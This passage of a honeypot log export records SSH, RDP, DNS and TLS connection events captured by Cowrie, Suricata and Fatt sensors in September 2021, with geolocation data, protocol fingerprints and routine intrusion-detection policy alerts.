"cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59332, "dest_port": 22, "timestamp": "2021-09-20T11:56:35.296347", "@timestamp": "2021-09-20T11:56:35.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33754	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:35.559761+03	2021-09-20 15:00:06.259722+03	{"_id": "LgYQA3wBvYTbRNuEqlEj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "110.137.195.172", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.44205164909362793, "duplicate": true, "timestamp": "2021-09-20T11:56:35.559761Z", "@timestamp": "2021-09-20T11:56:35.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33755	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:35.880345+03	2021-09-20 15:00:06.260723+03	{"_id": "LwYQA3wBvYTbRNuEqlEj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:35.880345Z", "@timestamp": "2021-09-20T11:56:35.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33756	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:56:45.552609+03	2021-09-20 15:00:06.262721+03	{"_id": "eAYQA3wBvYTbRNuE0lF0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 246032755414889, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35582, "dest_port": 22, "timestamp": "2021-09-20T11:56:45.552609Z", "@timestamp": "2021-09-20T11:56:45.552Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33766	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:56:53.946924+03	2021-09-20 15:00:06.275723+03	{"_id": "hwYQA3wBvYTbRNuE8VG3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:56:53.946924Z", "@timestamp": "2021-09-20T11:56:53.946Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33757	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:56:46.837192+03	2021-09-20 15:00:06.263722+03	{"_id": "eQYQA3wBvYTbRNuE1VEk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "f2a246894241", "@version": "1", "duration": 1.3182449340820312, "timestamp": "2021-09-20T11:56:46.837192Z", "@timestamp": "2021-09-20T11:56:46.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33758	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:56:50.133474+03	2021-09-20 15:00:06.265722+03	{"_id": "fQYQA3wBvYTbRNuE4lEU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11289, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 166913015679330, "@version": "1", "in_iface": "enp5s0", "src_port": 58902, "dest_port": 53, "timestamp": "2021-09-20T11:56:50.133474Z", "@timestamp": "2021-09-20T11:56:50.133Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33759	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:56:50.134564+03	2021-09-20 15:00:06.266723+03	{"_id": "fAYQA3wBvYTbRNuE4lEU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11289, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2864, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 166913015679330, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 58902, "timestamp": "2021-09-20T11:56:50.134564Z", "@timestamp": "2021-09-20T11:56:50.134Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33760	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:50.183298+03	2021-09-20 15:00:06.267722+03	{"_id": "fwYQA3wBvYTbRNuE41Ei", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35866, "dest_port": 443, "timestamp": "2021-09-20T11:56:50.183298", "@timestamp": "2021-09-20T11:56:50.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33761	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:57:07.603542+03	2021-09-20 15:00:06.269721+03	{"_id": "jwYRA3wBvYTbRNuEJVGT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 58156, "dest_port": 3389, "timestamp": "2021-09-20T11:57:07.603542", "@timestamp": "2021-09-20T11:57:07.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
33773	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:57:21.877038+03	2021-09-20 15:00:06.284722+03	{"_id": "xAYRA3wBvYTbRNuEXVHu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1ee8dabc24b8", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:57:21.877038Z", "@timestamp": "2021-09-20T11:57:21.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33762	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:57:07.603542+03	2021-09-20 15:00:06.270723+03	{"_id": "lgYRA3wBvYTbRNuEKFFt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:57:07.277009+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1776028956703249, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58156, "dest_port": 3389, "timestamp": "2021-09-20T11:57:07.603542Z", "@timestamp": "2021-09-20T11:57:07.603Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33763	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:57:07.686016+03	2021-09-20 15:00:06.271722+03	{"_id": "lwYRA3wBvYTbRNuEKFFt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:57:07.277009+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1776028956703249, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 58156, "timestamp": "2021-09-20T11:57:07.686016Z", "@timestamp": "2021-09-20T11:57:07.686Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
33764	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:57:07.603542+03	2021-09-20 15:00:06.273721+03	{"_id": "mQYRA3wBvYTbRNuEKFFu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:57:07.277009+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1776028956703249, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58156, "dest_port": 3389, "timestamp": "2021-09-20T11:57:07.603542Z", "@timestamp": "2021-09-20T11:57:07.603Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33765	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:57:07.998325+03	2021-09-20 15:00:06.274723+03	{"_id": "mgYRA3wBvYTbRNuEKFFu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:57:07.277009+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1776028956703249, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58156, "dest_port": 3389, "timestamp": "2021-09-20T11:57:07.998325Z", "@timestamp": "2021-09-20T11:57:07.998Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33767	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:57:07.998325+03	2021-09-20 15:00:06.277722+03	{"_id": "mAYRA3wBvYTbRNuEKFFt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:57:07.277009+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1776028956703249, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58156, "dest_port": 3389, "timestamp": "2021-09-20T11:57:07.998325Z", "@timestamp": "2021-09-20T11:57:07.998Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33768	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:56:50.222792+03	2021-09-20 15:00:06.278722+03	{"_id": "gAYQA3wBvYTbRNuE41Ei", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35866, "timestamp": "2021-09-20T11:56:50.222792", "@timestamp": "2021-09-20T11:56:50.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33769	81.71.14.9	109.199.241.180	Suricata	2021-09-20 14:57:21.340924+03	2021-09-20 15:00:06.279722+03	{"_id": "uQYRA3wBvYTbRNuEW1E7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:57:20.775358+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1540110698992830, "payload": "AAADzAYUhTYsItfNtEVYqW4zVzOslgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47726, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:57:21.340924Z", "@timestamp": "2021-09-20T11:57:21.340Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......6,\\"...EX.n3W3.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
